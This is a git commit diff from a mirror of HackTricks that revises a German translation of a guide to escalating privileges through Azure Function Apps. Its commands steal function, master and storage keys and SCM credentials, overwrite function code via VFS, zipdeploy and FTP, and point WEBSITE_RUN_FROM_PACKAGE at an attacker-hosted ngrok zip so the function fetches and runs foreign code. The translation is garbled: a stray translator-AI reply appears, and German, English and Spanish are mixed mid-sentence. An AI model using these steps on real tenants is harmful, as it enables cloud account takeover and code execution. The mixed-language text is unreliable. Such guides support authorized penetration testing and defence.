mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+86
-65
@@ -4,34 +4,34 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Weitere Informationen auf der folgenden Seite:
|
||||
Prüfe die folgende Seite für weitere Informationen:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Bucket Lese-/Schreibzugriff
|
||||
### Bucket Read/Write
|
||||
|
||||
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Funktionsdaten speichert, ist es möglich, **verschiedene Container** (kundenspezifisch oder mit vordefinierten Namen) zu finden, die möglicherweise **den von der Funktion ausgeführten Code** enthalten.
|
||||
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Function-Daten speichert, ist es möglich, **verschiedene Container** zu finden (benutzerdefiniert oder mit vordefinierten Namen), die **den von der function ausgeführten Code** enthalten können.
|
||||
|
||||
Sobald Sie gefunden haben, wo der Code der Funktion liegt, können Sie, wenn Sie Schreibberechtigungen darauf haben, die Funktion dazu bringen, beliebigen Code auszuführen und Privilegien auf die an die Funktion gebundenen managed identities zu eskalieren.
|
||||
Sobald du herausfindest, wo der Code der function liegt, kannst du, wenn du Schreibrechte darauf hast, die function beliebigen Code ausführen lassen und Privilegien zu den an die function angehängten managed identities eskalieren.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
Der Code der Funktion wird normalerweise in einem File Share gespeichert. Mit ausreichend Zugriff ist es möglich, die Code-Datei zu verändern und **die Funktion beliebigen Code laden zu lassen**, wodurch Privilegien auf die an die Function gebundenen managed identities eskaliert werden können.
|
||||
Der Code der function wird normalerweise in einer file share gespeichert. Mit genügend Zugriff ist es möglich, die Code-Datei zu ändern und **die function beliebigen Code laden zu lassen**, wodurch sich Privilegien zu den an die Function angehängten managed identities eskalieren lassen.
|
||||
|
||||
Diese Bereitstellungsmethode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die Sie abrufen können.
|
||||
Diese deployment-Methode konfiguriert normalerweise die Einstellungen **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** und **`WEBSITE_CONTENTSHARE`**, die du von
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
Diese Konfigurationen enthalten den **Storage Account Key**, den die Function verwenden kann, um auf den Code zuzugreifen.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mit ausreichenden Berechtigungen, um eine Verbindung zum File Share herzustellen und das laufende **Skript zu ändern**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
|
||||
> Mit genügend Berechtigung, um eine Verbindung zur File Share herzustellen und das laufende **Script zu modifizieren**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
Das folgende Beispiel verwendet macOS, um sich mit der File Share zu verbinden, aber es wird empfohlen, auch die folgende Seite für weitere Informationen zu File Shares zu prüfen:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Es ist außerdem üblich, die **zip releases** im Ordner `function-releases` des Storage Account-Containers zu finden, den die function app verwendet — üblicherweise in einem Container mit dem Namen **`function-releases`**.
|
||||
Es ist auch üblich, die **zip releases** im Ordner `function-releases` des Storage Account-Containers zu finden, den die function app in einem Container verwendet, **der normalerweise `function-releases` heißt**.
|
||||
|
||||
Normalerweise setzt diese Deployment-Methode die Config `WEBSITE_RUN_FROM_PACKAGE` in:
|
||||
Normalerweise setzt diese Bereitstellungsmethode die `WEBSITE_RUN_FROM_PACKAGE`-Konfiguration in:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Diese Konfiguration enthält normalerweise eine **SAS URL zum Herunterladen** des Codes vom Storage Account.
|
||||
Diese Konfiguration enthält normalerweise eine **SAS URL zum Download** des Codes aus dem Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der **den Code als Zip enthält**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
|
||||
> Mit ausreichenden Berechtigungen, um eine Verbindung mit dem blob container herzustellen, der **den Code in zip enthält**, ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
Wie im vorherigen Fall: Wenn das Deployment über Github Actions erfolgt, kann man im Storage Account den Ordner **`github-actions-deploy`** finden, der ein Zip des Codes enthält, sowie eine SAS URL zur Zip-Datei in der Einstellung `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Genau wie im vorherigen Fall ist es, wenn das Deployment über Github Actions erfolgt, möglich, den Ordner **`github-actions-deploy`** im Storage Account zu finden, der einen zip des Codes und eine SAS URL zum zip in der Einstellung `WEBSITE_RUN_FROM_PACKAGE` enthält.
|
||||
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Mit Berechtigungen, die Container im Storage Account, der die Function-Daten speichert, lesen zu können, ist es möglich, den Container **`scm-releases`** zu finden. Dort lässt sich die neueste Release im **Squashfs filesystem file format** finden und somit der Code der Function auslesen:
|
||||
Mit Berechtigungen zum Lesen der Container im Storage Account, der die Function-Daten speichert, ist es möglich, den Container **`scm-releases`** zu finden. Dort ist es möglich, das neueste Release im **Squashfs filesystem file format** zu finden, und daher ist es möglich, den Code der Function zu lesen:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Es ist auch möglich, die **Master- und Functions-Keys** im Storage-Konto im Container **`azure-webjobs-secrets`** innerhalb des Ordners **`<app-name>`** in den darin enthaltenen JSON-Dateien zu finden.
|
||||
Es ist auch möglich, die **master and functions keys** zu finden, die im storage account im Container **`azure-webjobs-secrets`** im Ordner **`<app-name>`** in den JSON files gespeichert sind, die du darin finden kannst.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mit ausreichenden Rechten, um eine Verbindung zum Blob-Container herzustellen, der **den Code in einer zip extension file enthält** (die tatsächlich ein **`squashfs`** ist), ist es möglich, beliebigen Code in der Function auszuführen und Privilegien zu eskalieren.
|
||||
> Mit ausreichender Berechtigung, um eine Verbindung zu dem blob container herzustellen, der **den code in einer zip extension file enthält** (die in Wirklichkeit ein **`squashfs`** ist), ist es möglich, arbitrary code in der Function auszuführen und privileges zu eskalieren.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Diese Berechtigung erlaubt das Auflisten der function-, master- und system-keys, jedoch nicht des host-keys der angegebenen function mit:
|
||||
Diese Berechtigung ermöglicht es, die function-, master- und system-Keys der angegebenen function aufzulisten, aber nicht den host-Key, mit:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Mit dem master key ist es auch möglich, den source code in einer URL wie folgt zu erhalten:
|
||||
Mit dem master key ist es auch möglich, den source code über eine URL wie diese zu erhalten:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
Und um **den Code, der in der Funktion ausgeführt wird, zu ändern** mit:
|
||||
Und um den **Code zu ändern, der in der Funktion ausgeführt wird** mit:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## Python function app example
|
||||
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Diese Berechtigung erlaubt es, den Standardschlüssel der angegebenen Function mit folgendem Befehl abzurufen:
|
||||
Diese Berechtigung ermöglicht es, den Default-Key der angegebenen Function zu erhalten mit:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
Rufe die Funktion mit dem erhaltenen Standardschlüssel auf:
|
||||
Die Funktion mit dem standardmäßig erhaltenen Key aufrufen:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines function key der angegebenen Funktion mit:
|
||||
Diese Berechtigung ermöglicht es, einen function key der angegebenen function zu erstellen/aktualisieren mit:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines Master-Keys für die angegebene Funktion mit:
|
||||
Diese Berechtigung erlaubt es, einen Master Key für die angegebene Function zu erstellen/aktualisieren mit:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Denke daran, dass du mit diesem key auch auf den source code zugreifen und ihn wie zuvor beschrieben ändern kannst!
|
||||
> Beachte, dass du mit diesem Schlüssel auch auf den Quellcode zugreifen und ihn wie zuvor beschrieben ändern kannst!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
Diese Berechtigung erlaubt das Erstellen/Aktualisieren eines system function key für die angegebene Funktion mit:
|
||||
Diese Berechtigung erlaubt es, einen System-Function-Key für die angegebene Function zu erstellen/aktualisieren mit:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
Ich sehe keinen Schlüssel oder Text zum Übersetzen. Bitte füge den Key oder den Inhalt der Datei src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md hier ein, dann übersetze ich ihn ins Deutsche unter Beibehaltung der Markdown-/HTML-Syntax.
|
||||
Verwende den Schlüssel:
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
Diese Berechtigung erlaubt das Abrufen der Einstellungen einer Function. In diesen Konfigurationen können möglicherweise die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** gefunden werden, die einen **Account-Schlüssel zum Zugriff auf das blob storage der Function mit FULL permissions** enthalten.
|
||||
Diese Berechtigung erlaubt es, die Einstellungen einer function abzurufen. Innerhalb dieser Konfigurationen kann es möglich sein, die Standardwerte **`AzureWebJobsStorage`** oder **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** zu finden, die einen **account key enthalten, um mit FULL permissions auf den blob storage der function zuzugreifen**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Außerdem erlaubt diese Berechtigung auch, die **SCM username and password** (falls aktiviert) wie folgt zu erhalten:
|
||||
Außerdem erlaubt diese Berechtigung auch, den **SCM-Benutzernamen und das Passwort** (falls aktiviert) mit folgendem Befehl zu erhalten:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
Diese Berechtigungen erlauben es, wie bereits gesehen, die Konfigurationswerte einer Function aufzulisten und zusätzlich **diese Werte zu ändern**. Das ist nützlich, weil diese Einstellungen anzeigen, wo sich der auszuführende Code innerhalb der Function befindet.
|
||||
Diese Berechtigungen erlauben es, die Config-Werte einer function wie zuvor gesehen aufzulisten und außerdem **diese Werte zu ändern**. Das ist nützlich, weil diese Settings angeben, wo sich der Code befindet, der innerhalb der function ausgeführt wird.
|
||||
|
||||
Es ist daher möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** so zu setzen, dass er auf eine URL zu einer ZIP-Datei zeigt, welche den neuen Code enthält, der innerhalb einer Webanwendung ausgeführt werden soll:
|
||||
Daher ist es möglich, den Wert der Einstellung **`WEBSITE_RUN_FROM_PACKAGE`** auf eine URL zu setzen, die auf eine zip-Datei mit dem neuen Code verweist, der innerhalb einer web application ausgeführt werden soll:
|
||||
|
||||
- Beginnen Sie damit, die aktuelle Konfiguration abzurufen
|
||||
- Beginnen Sie damit, die aktuelle Config zu erhalten
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- Erstelle den Code, den die Funktion ausführen soll, und hoste ihn öffentlich
|
||||
- Erstelle den Code, den die function ausführen soll, und hoste ihn öffentlich
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Ändere die Funktion, behalte die vorherigen Parameter bei und füge am Ende die Konfiguration **`WEBSITE_RUN_FROM_PACKAGE`** hinzu, die auf die URL mit dem **zip** zeigt, welche den Code enthält.
|
||||
- Ändere die Funktion, behalte die vorherigen Parameter bei und füge am Ende die config **`WEBSITE_RUN_FROM_PACKAGE`** hinzu, die auf die URL mit der **zip** zeigt, die den Code enthält.
|
||||
|
||||
Das Folgende ist ein Beispiel meiner **eigenen Einstellungen — du musst die Werte für deine ändern**, beachte am Ende den Wert `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, hier habe ich die App gehostet.
|
||||
Das Folgende ist ein Beispiel für meine **eigenen Einstellungen, du musst die Werte für deine ändern**; beachte am Ende die Werte `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, dort habe ich die App gehostet.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung zu ändern** über die Webkonsole (oder über den folgenden API-Endpunkt):
|
||||
Mit dieser Berechtigung ist es **möglich, den Code einer Anwendung zu ändern** über die Web-Konsole (oder über den folgenden API-Endpunkt):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -266,7 +266,7 @@ body: responseMessage
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Diese Berechtigung erlaubt das Auflisten aller Publishing-Profile, die im Wesentlichen **basic auth credentials** enthalten:
|
||||
Diese Berechtigungen erlauben es, alle Publishing-Profile aufzulisten, die im Wesentlichen **Basic-Auth-Anmeldedaten** enthalten:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Eine weitere Möglichkeit wäre, deine eigenen creds zu setzen und sie zu verwenden:
|
||||
Eine weitere Option wäre, deine eigenen creds festzulegen und sie zu verwenden mit:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- Wenn **REDACTED** Anmeldeinformationen
|
||||
- Wenn **REDACTED**-Anmeldedaten
|
||||
|
||||
Wenn du siehst, dass diese Anmeldeinformationen **REDACTED** sind, liegt das daran, dass du **die SCM basic authentication option aktivieren musst** und dafür benötigst du die zweite Berechtigung (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
Wenn du siehst, dass diese Anmeldedaten **REDACTED** sind, liegt das daran, dass du **die SCM-Basic-Authentication-Option aktivieren musst** und dafür die zweite Berechtigung benötigst (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -304,26 +304,47 @@ az rest --method PUT \
|
||||
```
|
||||
- **Methode SCM**
|
||||
|
||||
Anschließend kannst du mit diesen **basic auth credentials to the SCM URL** auf die SCM-URL deiner function app zugreifen und die Werte der env variables auslesen:
|
||||
Dann kannst du mit diesen **Basic-Auth-Zugangsdaten auf die SCM-URL** deiner Function App zugreifen und die Werte der Umgebungsvariablen erhalten:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Beachte, dass der **SCM-Benutzername** normalerweise das Zeichen "$" gefolgt vom Namen der App ist, also: `$<app-name>`._
|
||||
Du kannst neuen Function-Code herunterladen, ändern und hochladen :
|
||||
```bash
|
||||
# download
|
||||
curl -u '<username>:<password>' -X GET \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||
-o current_function_code.zip
|
||||
|
||||
Du kannst die Webseite auch über `https://<app-name>.scm.azurewebsites.net/BasicAuth` aufrufen.
|
||||
unzip current_function_code.zip -d updated_code/
|
||||
cd updated_code/
|
||||
#... modify the function code
|
||||
zip -r ../updated_function_app.zip .
|
||||
cd ../
|
||||
|
||||
Die Einstellungen enthalten den **AccountKey** des Storage-Accounts, der die Daten der Function App speichert, und ermöglichen so die Kontrolle dieses Storage-Accounts.
|
||||
# upload
|
||||
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||
```
|
||||
Du kannst sogar eine bestimmte Datei hochladen :
|
||||
```bash
|
||||
curl -u '<username>:<password>' \
|
||||
-X PUT \
|
||||
-H "Content-Type: application/javascript" \
|
||||
-H "If-Match: *" \
|
||||
--data-binary "@./my_local_payload.js" \
|
||||
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||
```
|
||||
_Note that the **SCM-Benutzername** ist normalerweise das Zeichen "$" gefolgt vom Namen der App, also: `$<app-name>`._
|
||||
|
||||
- **Methode FTP**
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Stelle eine Verbindung zum FTP-Server her mit:
|
||||
Die Einstellungen-Werte enthalten den **AccountKey** des Storage Accounts, der die Daten der Function App speichert, wodurch sich dieser Storage Account kontrollieren lässt.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Verbinde dich mit dem FTP-Server mit:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -337,19 +358,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Beachte, dass der **FTP username** normalerweise im Format \<app-name>\\$\<app-name> ist._
|
||||
_Note that the **FTP-Benutzername** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
Diese Berechtigung erlaubt es, den **Quellcode** der App über das VFS zu **lesen**:
|
||||
This permission allows to **den Quellcode lesen** of the app through the VFS:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
Mit dieser Berechtigung ist es möglich, [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), mit dem später der **master key** abgerufen werden kann und man somit auf den function's code zugreifen und ihn ändern kann.
|
||||
Mit dieser Berechtigung ist es möglich, den [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) zu erhalten, der später verwendet werden kann, um den **master key** abzurufen und dadurch auf den Code der function zuzugreifen und ihn zu ändern.
|
||||
|
||||
Allerdings wurde bei meinen letzten Prüfungen kein Token zurückgegeben, es könnte also deaktiviert sein oder nicht mehr funktionieren, aber hier ist, wie du vorgehen würdest:
|
||||
Bei meinen letzten Checks wurde jedoch kein token zurückgegeben, also könnte es deaktiviert sein oder nicht mehr funktionieren, aber so würde man es machen:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
Diese Berechtigungen erlauben es, **Funktionen zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
|
||||
Diese Berechtigungen erlauben es, **Functions zu aktivieren**, die möglicherweise deaktiviert sind (oder sie zu deaktivieren).
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
Es ist außerdem möglich, über die folgende URL zu prüfen, ob eine Funktion aktiviert oder deaktiviert ist (mit der in Klammern angegebenen Berechtigung):
|
||||
Es ist auch möglich, in der folgenden URL zu sehen, ob eine Function aktiviert oder deaktiviert ist (unter Verwendung der Berechtigung in Klammern):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich, den von einer als Container konfigurierten function app ausgeführten Container zu **modifizieren**. Dadurch könnte ein Angreifer eine bösartige azure function container app (zum Beispiel) auf docker hub hochladen und die function dazu bringen, diese auszuführen.
|
||||
Mit diesen Berechtigungen ist es möglich, den von einer Function App ausgeführten Container zu **ändern**, wenn sie so konfiguriert ist, dass sie einen Container ausführt. Dadurch könnte ein Angreifer eine bösartige Azure Function Container App etwa auf Docker Hub hochladen und die Function dazu bringen, sie auszuführen.
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -383,7 +404,7 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich, **attach a new user managed identity to a function**. Wenn die function kompromittiert wurde, würde dies erlauben, Privilegien auf jede user managed identity zu eskalieren.
|
||||
Mit diesen Berechtigungen ist es möglich, **eine neue user managed identity an eine function anzuhängen**. Wenn die function kompromittiert wurde, würde dies eine Privilegieneskalation zu jeder user managed identity ermöglichen.
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
@@ -392,20 +413,20 @@ az functionapp identity assign \
|
||||
```
|
||||
### Remote Debugging
|
||||
|
||||
Es ist auch möglich, eine Verbindung herzustellen, um eine laufende Azure function zu debuggen, wie [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Standardmäßig deaktiviert Azure diese Option jedoch nach 2 Tagen, falls der Entwickler vergisst, sie auszuschalten, um verwundbare Konfigurationen zu vermeiden.
|
||||
Es ist auch möglich, eine laufende Azure function zum Debuggen zu verbinden, wie in den [**docs erklärt**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Allerdings wird Azure diese Option standardmäßig nach 2 Tagen deaktivieren, falls der developer vergisst, eine verwundbare Konfiguration zurückzulassen.
|
||||
|
||||
Es ist möglich zu überprüfen, ob Debugging für eine Function aktiviert ist mit:
|
||||
Es ist möglich zu prüfen, ob für eine Function debugging aktiviert ist mit:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
Wenn man die Berechtigung `Microsoft.Web/sites/config/write` hat, ist es außerdem möglich, eine Funktion in den Debugging-Modus zu versetzen (der folgende Befehl erfordert außerdem die Berechtigungen `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` und `Microsoft.Web/sites/Read`).
|
||||
Mit der Berechtigung `Microsoft.Web/sites/config/write` ist es auch möglich, eine Function in den Debugging-Modus zu versetzen (der folgende Befehl erfordert außerdem die Berechtigungen `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` und `Microsoft.Web/sites/Read`).
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Change Github repo
|
||||
### Github-Repo ändern
|
||||
|
||||
Ich habe versucht, das Github repo, von dem aus die Bereitstellung erfolgt, durch Ausführen der folgenden Befehle zu ändern, aber selbst wenn es geändert wurde, wurde **der neue Code nicht geladen** (wahrscheinlich, weil erwartet wird, dass die Github Action den Code aktualisiert).\
|
||||
Außerdem wurde die **managed identity federated credential** nicht aktualisiert, um das neue Repository zuzulassen, daher scheint das nicht sehr nützlich zu sein.
|
||||
Ich habe versucht, das Github-Repo zu ändern, von dem aus das Deployment erfolgt, indem ich die folgenden Befehle ausgeführt habe, aber selbst wenn es sich geändert hat, wurde **der neue Code nicht geladen** (wahrscheinlich, weil erwartet wird, dass die Github Action den Code aktualisiert).\
|
||||
Außerdem wurde die **federated credential** der managed identity nicht aktualisiert, um das neue Repository zuzulassen, also scheint das nicht sehr nützlich zu sein.
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user